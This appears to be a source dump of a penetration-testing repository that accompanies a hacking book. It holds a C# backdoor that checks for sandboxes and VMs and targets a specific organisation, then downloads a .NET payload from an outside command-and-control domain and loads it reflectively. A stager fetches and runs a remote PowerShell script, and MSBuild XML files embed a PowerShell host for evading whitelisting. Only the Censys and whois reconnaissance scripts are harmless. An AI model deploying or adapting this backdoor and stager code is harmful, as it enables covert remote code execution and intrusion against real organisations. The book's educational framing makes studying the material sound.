├── README.md
├── corporate.rule
├── cs_scripts
├── assembly_backdoor.cs
└── loader_stager.cs
├── msbuild
├── console.xml
└── psh.xml
├── old
├── chap1
│ ├── censys_search.py
│ ├── query_whois.py
│ └── requirements.txt
├── chap2
│ ├── console.xml
│ └── psh.xml
└── chap3
│ ├── assembly_backdoor.cs
│ ├── corporate.rule
│ ├── loader_stager.cs
│ ├── msf_backdoor.cs
│ ├── ps_backdoor.cs
│ ├── wordcollector.py
│ └── wrapper_assembly.cs
├── ps_scripts
├── Invoke-mimi.ps1
├── kerberoast.ps1
└── miniview.ps1
└── py_scripts
├── censys_search.py
├── query_whois.py
└── wordcollector.py
/README.md:
--------------------------------------------------------------------------------
1 | # How to Hack Like a Ghost
2 | This repository hosts scripts and techniques featured in the book [How to Hack Like a Legend](https://nostarch.com/how-hack-legend)
3 |
--------------------------------------------------------------------------------
/cs_scripts/assembly_backdoor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Management;
3 | using Microsoft.Win32;
4 | using System.Net;
5 | using System.Reflection;
6 | using System.Threading;
7 |
8 | /*
9 | To compile add the reference in Visual studio to C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
10 | Otherwise use csc.exe at http://bit.ly/3otOr4h with the command:
11 | c:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check.exe assembly_backdoor.cs
12 |
13 | Remember to change condition elements in Valid_Environment, Valid_Environment2 and Valid_launch methods to execute it your environment.
14 | Of course you need a working listener instance on your C2, Empire for instance.
15 | Full code detail available in How to Hack Like a Legend book.
16 |
17 | Sparc Flow
18 | */
19 | namespace backdoor2
20 | {
21 | class Program
22 | {
23 | static void Main(string[] args)
24 | {
25 | new Thread(() => {
26 | Thread.CurrentThread.IsBackground = true;
27 | Prepare_shape_ui();
28 | }).Start();
29 | Console.WriteLine("Press any key to exit...");
30 | Console.ReadKey();
31 |
32 | }
33 |
34 | static private void Prepare_shape_ui()
35 | {
36 | if (Valid_environment() && Valid_launch())
37 | Custom_shape_ui();
38 | }
39 | static private bool Valid_launch()
40 | {
41 | return Need_upgrade() && Is_compatible();
42 | }
43 |
44 | static private bool Need_upgrade()
45 | {
46 | string s = "";
47 | try
48 | {
49 | WebClient client = new WebClient();
50 | s = client.DownloadString("https://stratjumbotech.co/version");
51 | }
52 | catch { }
53 | return s.Length > 0;
54 | }
55 |
56 | static private bool Is_compatible()
57 | {
58 | //Fetch a registry key value that would not exist on a normal system
59 | RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\UEV\\Agent");
60 | //If key "Version" is not found, return true and proceed with the backdoor
61 | if (key != null && key.GetValue("Version") == null)
62 | {
63 | return true;
64 | }
65 | return false;
66 | }
67 |
68 | static private bool Valid_environment()
69 | {
70 | return Is_gpo_applied() && Valid_driver();
71 | }
72 | static private bool Is_gpo_applied()
73 | {
74 | string query = "SELECT * FROM Win32_OperatingSystem";
75 | var search = new ManagementObjectSearcher(query);
76 | foreach (ManagementObject obj in search.Get())
77 | {
78 | var objectName = obj["Organization"];
79 | if (objectName == null) { continue; }
80 |
81 | string name = objectName.ToString().Trim().ToLower();
82 | if (name.StartsWith("gs") || name.StartsWith("g&s"))
83 | return true;
84 | }
85 |
86 | return false;
87 | }
88 |
89 | static private bool Valid_driver()
90 | {
91 |
92 | var query = "SELECT * FROM Win32_VideoController";
93 | var search = new ManagementObjectSearcher(query);
94 |
95 | foreach (ManagementObject obj in search.Get())
96 | {
97 | var objectName = obj["Name"];
98 | if (objectName == null) { continue; }
99 | string name = objectName.ToString().Trim().ToLower();
100 |
101 | //ualb is short for virtualbox and² mwa for vmware
102 | if (name.Contains("mwa") || name.Contains("ualb") || name.Contains("basic") || name.Contains("adapter"))
103 | return false;
104 | }
105 |
106 | //If none of the above checks work, Valid_environment returns true
107 | return true;
108 | }
109 |
110 | static private void Custom_shape_ui()
111 | {
112 |
113 | //Array that will hold our assembly
114 | byte[] myDataBuffer = null;
115 |
116 | //Use the default proxy registered on the system
117 | System.Net.WebRequest.DefaultWebProxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials;
118 |
119 | //classic webclient object to download data
120 | WebClient myWebClient = new WebClient();
121 | try
122 | {
123 | var url = "https://reporting.stratjumbo.co.au/health-check";
124 | myDataBuffer = myWebClient.DownloadData(url);
125 | }
126 | catch { }
127 |
128 | //If the download fails return
129 | if (myDataBuffer == null)
130 | {
131 | Console.WriteLine("could not fetch program from listener");
132 | return;
133 | }
134 | //Reflectively load it in memory
135 | Assembly a = Assembly.Load(myDataBuffer);
136 | Type t = a.GetType("fud_stager.Program");
137 | MethodInfo staticMethodInfo = t.GetMethod("Main");
138 |
139 | staticMethodInfo.Invoke(null, null);
140 |
141 | //End of Custom_shape_ui() method
142 | }
143 |
144 | }
145 | }
146 |
--------------------------------------------------------------------------------
/cs_scripts/loader_stager.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net;
3 | using System.Management.Automation;
4 | using System.Management.Automation.Host;
5 | using System.Management.Automation.Runspaces;
6 | using PowerShell = System.Management.Automation.PowerShell;
7 |
8 | /*
9 | To compile add the reference in Visual studio to C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
10 | Otherwise use csc.exe at http://bit.ly/3otOr4h with the command:
11 | c:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check.exe Program.cs
12 | */
13 | namespace fud_stager
14 | {
15 | class Program
16 | {
17 | static void Main(string[] args)
18 | {
19 | PowerShell Ps_instance = PowerShell.Create();
20 |
21 | WebClient myWebClient = new WebClient();
22 | try {
23 | var script1 = myWebClient.DownloadString("http://192.168.1.36:3333/full1.txt");
24 | string[] array = script1.Split('\n');
25 | foreach (string value in array)
26 | {
27 | Ps_instance.AddScript(value);
28 | }
29 | } catch{
30 | }
31 | //
32 | //Ps_instance.AddScript(script2);
33 | Ps_instance.AddCommand("out-string");
34 | Ps_instance.Invoke();
35 |
36 | }
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/msbuild/console.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
16 |
17 |
18 |
19 |
20 |
64 | /// This sample shows how to implement a basic read-evaluate-print
65 | /// loop (or 'listener') that allowing you to interactively work
66 | /// with the Windows PowerShell engine.
67 | ///
68 | internal class PSListenerConsoleSample
69 | {
70 | ///
71 | /// Used to read user input.
72 | ///
73 | // internal ConsoleReadLine consoleReadLine = new ConsoleReadLine();
74 |
75 | ///
76 | /// Holds a reference to the runspace for this interpeter.
77 | ///
78 | internal Runspace myRunSpace;
79 |
80 | ///
81 | /// Indicator to tell the host application that it should exit.
82 | ///
83 | private bool shouldExit;
84 |
85 | ///
86 | /// The exit code that the host application will use to exit.
87 | ///
88 | private int exitCode;
89 |
90 | ///
91 | /// Holds a reference to the PSHost implementation for this interpreter.
92 | ///
93 | private MyHost myHost;
94 |
95 | ///
96 | /// Holds a reference to the currently executing pipeline so that it can be
97 | /// stopped by the control-C handler.
98 | ///
99 | private PowerShell currentPowerShell;
100 |
101 | ///
102 | /// Used to serialize access to instance data.
103 | ///
104 | private object instanceLock = new object();
105 |
106 | ///
107 | /// Gets or sets a value indicating whether the host application
108 | /// should exit.
109 | ///
110 | public bool ShouldExit
111 | {
112 | get { return this.shouldExit; }
113 | set { this.shouldExit = value; }
114 | }
115 |
116 | ///
117 | /// Gets or sets a value indicating whether the host application
118 | /// should exit.
119 | ///
120 | public int ExitCode
121 | {
122 | get { return this.exitCode; }
123 | set { this.exitCode = value; }
124 | }
125 |
126 | ///
127 | /// Creates and initiates the listener instance.
128 | ///
129 | /// This parameter is not used.
130 | private static void Main(string[] args)
131 | {
132 |
133 | }
134 |
135 | ///
136 | /// Initializes a new instance of the PSListenerConsoleSample class.
137 | ///
138 | public PSListenerConsoleSample()
139 | {
140 | // Create the host and runspace instances for this interpreter.
141 | // Note that this application does not support console files so
142 | // only the default snap-ins will be available.
143 | this.myHost = new MyHost(this);
144 | this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost);
145 | this.myRunSpace.Open();
146 |
147 | // Create a PowerShell object to run the commands used to create
148 | // $profile and load the profiles.
149 | lock (this.instanceLock)
150 | {
151 | this.currentPowerShell = PowerShell.Create();
152 | }
153 |
154 | try
155 | {
156 | this.currentPowerShell.Runspace = this.myRunSpace;
157 |
158 | //PSCommand[] profileCommands = Microsoft.Samples.PowerShell.Host.HostUtilities.GetProfileCommands("SampleHost06");
159 | //foreach (PSCommand command in profileCommands)
160 | //{
161 | // this.currentPowerShell.Commands = command;
162 | //this.currentPowerShell.Invoke();
163 | //}
164 | }
165 | finally
166 | {
167 | // Dispose the PowerShell object and set currentPowerShell
168 | // to null. It is locked because currentPowerShell may be
169 | // accessed by the ctrl-C handler.
170 | lock (this.instanceLock)
171 | {
172 | this.currentPowerShell.Dispose();
173 | this.currentPowerShell = null;
174 | }
175 | }
176 | }
177 |
178 | ///
179 | /// A helper class that builds and executes a pipeline that writes
180 | /// to the default output path. Any exceptions that are thrown are
181 | /// just passed to the caller. Since all output goes to the default
182 | /// outter, this method does not return anything.
183 | ///
184 | /// The script to run.
185 | /// Any input arguments to pass to the script.
186 | /// If null then nothing is passed in.
187 | private void executeHelper(string cmd, object input)
188 | {
189 | // Ignore empty command lines.
190 | if (String.IsNullOrEmpty(cmd))
191 | {
192 | return;
193 | }
194 |
195 | // Create the pipeline object and make it available to the
196 | // ctrl-C handle through the currentPowerShell instance
197 | // variable.
198 | lock (this.instanceLock)
199 | {
200 | this.currentPowerShell = PowerShell.Create();
201 | }
202 |
203 | // Add a script and command to the pipeline and then run the pipeline. Place
204 | // the results in the currentPowerShell variable so that the pipeline can be
205 | // stopped.
206 | try
207 | {
208 | this.currentPowerShell.Runspace = this.myRunSpace;
209 |
210 | this.currentPowerShell.AddScript(cmd);
211 |
212 | // Add the default outputter to the end of the pipe and then call the
213 | // MergeMyResults method to merge the output and error streams from the
214 | // pipeline. This will result in the output being written using the PSHost
215 | // and PSHostUserInterface classes instead of returning objects to the host
216 | // application.
217 | this.currentPowerShell.AddCommand("out-default");
218 | this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
219 |
220 | // If there is any input pass it in, otherwise just invoke the
221 | // the pipeline.
222 | if (input != null)
223 | {
224 | this.currentPowerShell.Invoke(new object[] { input });
225 | }
226 | else
227 | {
228 | this.currentPowerShell.Invoke();
229 | }
230 | }
231 | finally
232 | {
233 | // Dispose the PowerShell object and set currentPowerShell to null.
234 | // It is locked because currentPowerShell may be accessed by the
235 | // ctrl-C handler.
236 | lock (this.instanceLock)
237 | {
238 | this.currentPowerShell.Dispose();
239 | this.currentPowerShell = null;
240 | }
241 | }
242 | }
243 |
244 | ///
245 | /// To display an exception using the display formatter,
246 | /// run a second pipeline passing in the error record.
247 | /// The runtime will bind this to the $input variable,
248 | /// which is why $input is being piped to the Out-String
249 | /// cmdlet. The WriteErrorLine method is called to make sure
250 | /// the error gets displayed in the correct error color.
251 | ///
252 | /// The exception to display.
253 | private void ReportException(Exception e)
254 | {
255 | if (e != null)
256 | {
257 | object error;
258 | IContainsErrorRecord icer = e as IContainsErrorRecord;
259 | if (icer != null)
260 | {
261 | error = icer.ErrorRecord;
262 | }
263 | else
264 | {
265 | error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null);
266 | }
267 |
268 | lock (this.instanceLock)
269 | {
270 | this.currentPowerShell = PowerShell.Create();
271 | }
272 |
273 | this.currentPowerShell.Runspace = this.myRunSpace;
274 |
275 | try
276 | {
277 | this.currentPowerShell.AddScript("$input").AddCommand("out-string");
278 |
279 | // Do not merge errors, this function will swallow errors.
280 | Collection result;
281 | PSDataCollection
1311 |
1312 |
1313 |
1314 |
--------------------------------------------------------------------------------
/msbuild/psh.xml:
--------------------------------------------------------------------------------
1 |
2 |
9 |
10 |
11 |
12 |
13 |
17 |
18 |
19 |
20 |
21 | ())
50 | Console.WriteLine(str);
51 |
52 | Console.WriteLine("Press any key to exit...");
53 | Console.ReadKey();
54 |
55 | // End of the Execute method
56 | return true;
57 | }
58 | }
59 | ]]>
60 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/old/chap1/censys_search.py:
--------------------------------------------------------------------------------
1 | import sys, json, requests, logging, os
2 | import censys.certificates
3 |
4 | API_URL = "https://censys.io/api/v1"
5 |
6 | logging.basicConfig(level=logging.INFO)
7 | logger = logging.getLogger(__name__)
8 |
9 |
10 | def close_to_domain(candidate, target_domain, domain_array):
11 | if any(x in candidate for x in domain_array):
12 | return True
13 | return False
14 |
15 |
16 | def show_censys_data(domain, uid, secret):
17 | logger.info("Looking up {} on censys".format(domain))
18 | domains = set()
19 | domain_array = domain.split(".")
20 | domain_array.pop()
21 |
22 | certificates = censys.certificates.CensysCertificates(uid, secret)
23 | fields = ["parsed.names"]
24 |
25 | for c in certificates.search("parsed.names: %s" % domain, fields=fields):
26 | for d in c["parsed.names"]:
27 | if close_to_domain(d, domain, domain_array):
28 | domains.add(d)
29 |
30 | logger.info("Found {} unique domains".format(len(domains)))
31 | for d in domains:
32 | print(d)
33 |
34 |
35 | def check_api_keys():
36 | if os.environ.get("CENSYS_ID") is None or os.environ.get("CENSYS_SECRET") is None:
37 | logger.warning("Missing CENSYS_ID or CENSYS_SECRET env var")
38 | sys.exit(-1)
39 |
40 |
41 | if __name__ == "__main__":
42 | if len(sys.argv) < 2:
43 | print("usage {} ".format(sys.argv[0]))
44 | sys.exit(-1)
45 | check_api_keys()
46 | uid = os.environ.get("CENSYS_ID")
47 | secret = os.environ.get("CENSYS_SECRET")
48 |
49 | show_censys_data(sys.argv[1], uid, secret)
50 |
51 |
--------------------------------------------------------------------------------
/old/chap1/query_whois.py:
--------------------------------------------------------------------------------
1 | import socket, sys, re, logging
2 | from subprocess import Popen, PIPE
3 |
4 | logging.basicConfig(level=logging.INFO)
5 | logger = logging.getLogger(__name__)
6 |
7 |
8 | def usage():
9 | if len(sys.argv) < 2:
10 | print("usage query_whois.py ")
11 | print("\t contains a domain per line")
12 | sys.exit(-1)
13 |
14 | def catch_word(pattern, output):
15 | match = re.search('%s(.+)' % pattern, output)
16 | return match.group(1)
17 |
18 | def get_ip_from_domain(domain_name):
19 | try:
20 | return socket.gethostbyname(domain_name)
21 | except Exception as e:
22 | logger.warn("Could not resolve %s - %s" % (domain_name, e))
23 | return None
24 |
25 | def parse_whoise(ip_address):
26 | netname, inetnum, country = "N/A", "N/A", "N/A"
27 | p = Popen(['whois', ip_address], stdin=PIPE, stdout=PIPE, stderr=PIPE)
28 | output, err = p.communicate()
29 |
30 | rc = p.returncode
31 | output = output.lower().decode()
32 | if rc == 0:
33 | netname = catch_word("netname:", output).strip()
34 | country = catch_word("country:", output).strip()
35 | if "netrange" in output:
36 | inetnum = catch_word("netrange:", output).strip()
37 | elif "inetnum" in output:
38 | inetnum = catch_word("inetnum:", output).strip()
39 | return netname, inetnum, country
40 |
41 | def run():
42 | print("domain,netname,ip range,country")
43 | with open(sys.argv[1], "r") as ins:
44 | for line in ins:
45 | domain_name = line.strip()
46 | ip_address = get_ip_from_domain(domain_name)
47 | if ip_address is None:
48 | print("{},,,".format(domain_name))
49 | continue
50 | netname, inetnum, country = parse_whoise(ip_address)
51 | print("{},{},{},{}".format(domain_name, netname, inetnum, country))
52 |
53 |
54 | if __name__ == "__main__":
55 | usage()
56 | run()
--------------------------------------------------------------------------------
/old/chap1/requirements.txt:
--------------------------------------------------------------------------------
1 | censys
2 | logging
3 | difflib
--------------------------------------------------------------------------------
/old/chap2/console.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
16 |
17 |
18 |
19 |
20 |
64 | /// This sample shows how to implement a basic read-evaluate-print
65 | /// loop (or 'listener') that allowing you to interactively work
66 | /// with the Windows PowerShell engine.
67 | ///
68 | internal class PSListenerConsoleSample
69 | {
70 | ///
71 | /// Used to read user input.
72 | ///
73 | // internal ConsoleReadLine consoleReadLine = new ConsoleReadLine();
74 |
75 | ///
76 | /// Holds a reference to the runspace for this interpeter.
77 | ///
78 | internal Runspace myRunSpace;
79 |
80 | ///
81 | /// Indicator to tell the host application that it should exit.
82 | ///
83 | private bool shouldExit;
84 |
85 | ///
86 | /// The exit code that the host application will use to exit.
87 | ///
88 | private int exitCode;
89 |
90 | ///
91 | /// Holds a reference to the PSHost implementation for this interpreter.
92 | ///
93 | private MyHost myHost;
94 |
95 | ///
96 | /// Holds a reference to the currently executing pipeline so that it can be
97 | /// stopped by the control-C handler.
98 | ///
99 | private PowerShell currentPowerShell;
100 |
101 | ///
102 | /// Used to serialize access to instance data.
103 | ///
104 | private object instanceLock = new object();
105 |
106 | ///
107 | /// Gets or sets a value indicating whether the host application
108 | /// should exit.
109 | ///
110 | public bool ShouldExit
111 | {
112 | get { return this.shouldExit; }
113 | set { this.shouldExit = value; }
114 | }
115 |
116 | ///
117 | /// Gets or sets a value indicating whether the host application
118 | /// should exit.
119 | ///
120 | public int ExitCode
121 | {
122 | get { return this.exitCode; }
123 | set { this.exitCode = value; }
124 | }
125 |
126 | ///
127 | /// Creates and initiates the listener instance.
128 | ///
129 | /// This parameter is not used.
130 | private static void Main(string[] args)
131 | {
132 |
133 | }
134 |
135 | ///
136 | /// Initializes a new instance of the PSListenerConsoleSample class.
137 | ///
138 | public PSListenerConsoleSample()
139 | {
140 | // Create the host and runspace instances for this interpreter.
141 | // Note that this application does not support console files so
142 | // only the default snap-ins will be available.
143 | this.myHost = new MyHost(this);
144 | this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost);
145 | this.myRunSpace.Open();
146 |
147 | // Create a PowerShell object to run the commands used to create
148 | // $profile and load the profiles.
149 | lock (this.instanceLock)
150 | {
151 | this.currentPowerShell = PowerShell.Create();
152 | }
153 |
154 | try
155 | {
156 | this.currentPowerShell.Runspace = this.myRunSpace;
157 |
158 | //PSCommand[] profileCommands = Microsoft.Samples.PowerShell.Host.HostUtilities.GetProfileCommands("SampleHost06");
159 | //foreach (PSCommand command in profileCommands)
160 | //{
161 | // this.currentPowerShell.Commands = command;
162 | //this.currentPowerShell.Invoke();
163 | //}
164 | }
165 | finally
166 | {
167 | // Dispose the PowerShell object and set currentPowerShell
168 | // to null. It is locked because currentPowerShell may be
169 | // accessed by the ctrl-C handler.
170 | lock (this.instanceLock)
171 | {
172 | this.currentPowerShell.Dispose();
173 | this.currentPowerShell = null;
174 | }
175 | }
176 | }
177 |
178 | ///
179 | /// A helper class that builds and executes a pipeline that writes
180 | /// to the default output path. Any exceptions that are thrown are
181 | /// just passed to the caller. Since all output goes to the default
182 | /// outter, this method does not return anything.
183 | ///
184 | /// The script to run.
185 | /// Any input arguments to pass to the script.
186 | /// If null then nothing is passed in.
187 | private void executeHelper(string cmd, object input)
188 | {
189 | // Ignore empty command lines.
190 | if (String.IsNullOrEmpty(cmd))
191 | {
192 | return;
193 | }
194 |
195 | // Create the pipeline object and make it available to the
196 | // ctrl-C handle through the currentPowerShell instance
197 | // variable.
198 | lock (this.instanceLock)
199 | {
200 | this.currentPowerShell = PowerShell.Create();
201 | }
202 |
203 | // Add a script and command to the pipeline and then run the pipeline. Place
204 | // the results in the currentPowerShell variable so that the pipeline can be
205 | // stopped.
206 | try
207 | {
208 | this.currentPowerShell.Runspace = this.myRunSpace;
209 |
210 | this.currentPowerShell.AddScript(cmd);
211 |
212 | // Add the default outputter to the end of the pipe and then call the
213 | // MergeMyResults method to merge the output and error streams from the
214 | // pipeline. This will result in the output being written using the PSHost
215 | // and PSHostUserInterface classes instead of returning objects to the host
216 | // application.
217 | this.currentPowerShell.AddCommand("out-default");
218 | this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
219 |
220 | // If there is any input pass it in, otherwise just invoke the
221 | // the pipeline.
222 | if (input != null)
223 | {
224 | this.currentPowerShell.Invoke(new object[] { input });
225 | }
226 | else
227 | {
228 | this.currentPowerShell.Invoke();
229 | }
230 | }
231 | finally
232 | {
233 | // Dispose the PowerShell object and set currentPowerShell to null.
234 | // It is locked because currentPowerShell may be accessed by the
235 | // ctrl-C handler.
236 | lock (this.instanceLock)
237 | {
238 | this.currentPowerShell.Dispose();
239 | this.currentPowerShell = null;
240 | }
241 | }
242 | }
243 |
244 | ///
245 | /// To display an exception using the display formatter,
246 | /// run a second pipeline passing in the error record.
247 | /// The runtime will bind this to the $input variable,
248 | /// which is why $input is being piped to the Out-String
249 | /// cmdlet. The WriteErrorLine method is called to make sure
250 | /// the error gets displayed in the correct error color.
251 | ///
252 | /// The exception to display.
253 | private void ReportException(Exception e)
254 | {
255 | if (e != null)
256 | {
257 | object error;
258 | IContainsErrorRecord icer = e as IContainsErrorRecord;
259 | if (icer != null)
260 | {
261 | error = icer.ErrorRecord;
262 | }
263 | else
264 | {
265 | error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null);
266 | }
267 |
268 | lock (this.instanceLock)
269 | {
270 | this.currentPowerShell = PowerShell.Create();
271 | }
272 |
273 | this.currentPowerShell.Runspace = this.myRunSpace;
274 |
275 | try
276 | {
277 | this.currentPowerShell.AddScript("$input").AddCommand("out-string");
278 |
279 | // Do not merge errors, this function will swallow errors.
280 | Collection result;
281 | PSDataCollection inputCollection = new PSDataCollection();
282 | inputCollection.Add(error);
283 | inputCollection.Complete();
284 | result = this.currentPowerShell.Invoke(inputCollection);
285 |
286 | if (result.Count > 0)
287 | {
288 | string str = result[0].BaseObject as string;
289 | if (!string.IsNullOrEmpty(str))
290 | {
291 | // Remove \r\n, which is added by the Out-String cmdlet.
292 | this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2));
293 | }
294 | }
295 | }
296 | finally
297 | {
298 | // Dispose of the pipeline and set it to null, locking it because
299 | // currentPowerShell may be accessed by the ctrl-C handler.
300 | lock (this.instanceLock)
301 | {
302 | this.currentPowerShell.Dispose();
303 | this.currentPowerShell = null;
304 | }
305 | }
306 | }
307 | }
308 |
309 | ///
310 | /// Basic script execution routine. Any runtime exceptions are
311 | /// caught and passed back to the Windows PowerShell engine to
312 | /// display.
313 | ///
314 | /// Script to run.
315 | private void Execute(string cmd)
316 | {
317 | try
318 | {
319 | // Run the command with no input.
320 | this.executeHelper(cmd, null);
321 | }
322 | catch (RuntimeException rte)
323 | {
324 | this.ReportException(rte);
325 | }
326 | }
327 |
328 | ///
329 | /// Method used to handle control-C's from the user. It calls the
330 | /// pipeline Stop() method to stop execution. If any exceptions occur
331 | /// they are printed to the console but otherwise ignored.
332 | ///
333 | /// See sender property documentation of
334 | /// ConsoleCancelEventHandler.
335 | /// See e property documentation of
336 | /// ConsoleCancelEventHandler.
337 | private void HandleControlC(object sender, ConsoleCancelEventArgs e)
338 | {
339 | try
340 | {
341 | lock (this.instanceLock)
342 | {
343 | if (this.currentPowerShell != null && this.currentPowerShell.InvocationStateInfo.State == PSInvocationState.Running)
344 | {
345 | this.currentPowerShell.Stop();
346 | }
347 | }
348 |
349 | e.Cancel = true;
350 | }
351 | catch (Exception exception)
352 | {
353 | this.myHost.UI.WriteErrorLine(exception.ToString());
354 | }
355 | }
356 |
357 | ///
358 | /// Implements the basic listener loop. It sets up the ctrl-C handler, then
359 | /// reads a command from the user, executes it and repeats until the ShouldExit
360 | /// flag is set.
361 | ///
362 | public void Run()
363 | {
364 | int bufSize = 8192;
365 | Stream inStream = Console.OpenStandardInput(bufSize);
366 | Console.SetIn(new StreamReader(inStream, Console.InputEncoding, false, bufSize));
367 |
368 | // Set up the control-C handler.
369 | Console.CancelKeyPress += new ConsoleCancelEventHandler(this.HandleControlC);
370 | Console.TreatControlCAsInput = false;
371 |
372 | // Read commands and run them until the ShouldExit flag is set by
373 | // the user calling "exit".
374 | while (!this.ShouldExit)
375 | {
376 | string prompt;
377 | if (this.myHost.IsRunspacePushed)
378 | {
379 | prompt = string.Format("\n[{0}] PS: ", this.myRunSpace.SessionStateProxy.Path.CurrentFileSystemLocation.Path);
380 | }
381 | else
382 | {
383 | prompt = string.Format("\nPS: {0}> ", this.myRunSpace.SessionStateProxy.Path.CurrentFileSystemLocation.Path);
384 | }
385 |
386 | this.myHost.UI.Write(ConsoleColor.Cyan, ConsoleColor.Black, prompt);
387 |
388 | Console.CancelKeyPress += new ConsoleCancelEventHandler(this.myHandler);
389 |
390 | //string cmd = this.consoleReadLine.Read();
391 |
392 | string cmd = Console.ReadLine();
393 |
394 | if (cmd == "cls")
395 | {
396 | Console.Clear();
397 | } else {
398 | this.Execute(cmd);
399 | }
400 | }
401 | //
402 | // Exit with the desired exit code that was set by the exit command.
403 | // The exit code is set in the host by the MyHost.SetShouldExit() method.
404 | Environment.Exit(this.ExitCode);
405 | }
406 | public void myHandler(object sender, ConsoleCancelEventArgs args)
407 | {
408 | this.myHost.SetShouldExit(1);
409 | Environment.Exit(this.ExitCode);
410 |
411 | //this.myHost.UI.WriteLine(ConsoleColor.Red, ConsoleColor.Black, "Enter exit instead...");
412 |
413 | }
414 |
415 | }
416 |
417 | internal class MyHost : PSHost, IHostSupportsInteractiveSession
418 | {
419 | public MyHost(PSListenerConsoleSample program)
420 | {
421 | this.program = program;
422 | }
423 |
424 | ///
425 | /// A reference to the PSHost implementation.
426 | ///
427 | private PSListenerConsoleSample program;
428 |
429 | ///
430 | /// The culture information of the thread that created
431 | /// this object.
432 | ///
433 | private CultureInfo originalCultureInfo =
434 | System.Threading.Thread.CurrentThread.CurrentCulture;
435 |
436 | ///
437 | /// The UI culture information of the thread that created
438 | /// this object.
439 | ///
440 | private CultureInfo originalUICultureInfo =
441 | System.Threading.Thread.CurrentThread.CurrentUICulture;
442 |
443 | ///
444 | /// The identifier of this PSHost implementation.
445 | ///
446 | private static Guid instanceId = Guid.NewGuid();
447 |
448 | ///
449 | /// A reference to the implementation of the PSHostUserInterface
450 | /// class for this application.
451 | ///
452 | private MyHostUserInterface myHostUserInterface = new MyHostUserInterface();
453 |
454 | ///
455 | /// A reference to the runspace used to start an interactive session.
456 | ///
457 | public Runspace pushedRunspace = null;
458 |
459 |
460 | ///
461 | /// Gets the culture information to use. This implementation
462 | /// returns a snapshot of the culture information of the thread
463 | /// that created this object.
464 | ///
465 | public override CultureInfo CurrentCulture
466 | {
467 | get { return this.originalCultureInfo; }
468 | }
469 |
470 | ///
471 | /// Gets the UI culture information to use. This implementation
472 | /// returns a snapshot of the UI culture information of the thread
473 | /// that created this object.
474 | ///
475 | public override CultureInfo CurrentUICulture
476 | {
477 | get { return this.originalUICultureInfo; }
478 | }
479 |
480 | ///
481 | /// Gets an identifier for this host. This implementation always
482 | /// returns the GUID allocated at instantiation time.
483 | ///
484 | public override Guid InstanceId
485 | {
486 | get { return instanceId; }
487 | }
488 |
489 | ///
490 | /// Gets a string that contains the name of this host implementation.
491 | /// Keep in mind that this string may be used by script writers to
492 | /// identify when your host is being used.
493 | ///
494 | public override string Name
495 | {
496 | get { return "MySampleConsoleHostImplementation"; }
497 | }
498 |
499 | ///
500 | /// Gets an instance of the implementation of the PSHostUserInterface
501 | /// class for this application. This instance is allocated once at startup time
502 | /// and returned every time thereafter.
503 | ///
504 | public override PSHostUserInterface UI
505 | {
506 | get { return this.myHostUserInterface; }
507 | }
508 |
509 | ///
510 | /// Gets the version object for this application. Typically this
511 | /// should match the version resource in the application.
512 | ///
513 | public override Version Version
514 | {
515 | get { return new Version(1, 0, 0, 0); }
516 | }
517 |
518 | #region IHostSupportsInteractiveSession Properties
519 |
520 | ///
521 | /// Gets a value indicating whether a request
522 | /// to open a PSSession has been made.
523 | ///
524 | public bool IsRunspacePushed
525 | {
526 | get { return this.pushedRunspace != null; }
527 | }
528 |
529 | ///
530 | /// Gets or sets the runspace used by the PSSession.
531 | ///
532 | public Runspace Runspace
533 | {
534 | get { return this.program.myRunSpace; }
535 | internal set { this.program.myRunSpace = value; }
536 | }
537 | #endregion IHostSupportsInteractiveSession Properties
538 |
539 | ///
540 | /// This API Instructs the host to interrupt the currently running
541 | /// pipeline and start a new nested input loop. In this example this
542 | /// functionality is not needed so the method throws a
543 | /// NotImplementedException exception.
544 | ///
545 | public override void EnterNestedPrompt()
546 | {
547 | throw new NotImplementedException(
548 | "The method or operation is not implemented.");
549 | }
550 |
551 | ///
552 | /// This API instructs the host to exit the currently running input loop.
553 | /// In this example this functionality is not needed so the method
554 | /// throws a NotImplementedException exception.
555 | ///
556 | public override void ExitNestedPrompt()
557 | {
558 | throw new NotImplementedException(
559 | "The method or operation is not implemented.");
560 | }
561 |
562 | ///
563 | /// This API is called before an external application process is
564 | /// started. Typically it is used to save state so that the parent
565 | /// can restore state that has been modified by a child process (after
566 | /// the child exits). In this example this functionality is not
567 | /// needed so the method returns nothing.
568 | ///
569 | public override void NotifyBeginApplication()
570 | {
571 | return;
572 | }
573 |
574 | ///
575 | /// This API is called after an external application process finishes.
576 | /// Typically it is used to restore state that a child process has
577 | /// altered. In this example, this functionality is not needed so
578 | /// the method returns nothing.
579 | ///
580 | public override void NotifyEndApplication()
581 | {
582 | return;
583 | }
584 |
585 | ///
586 | /// Indicate to the host application that exit has
587 | /// been requested. Pass the exit code that the host
588 | /// application should use when exiting the process.
589 | ///
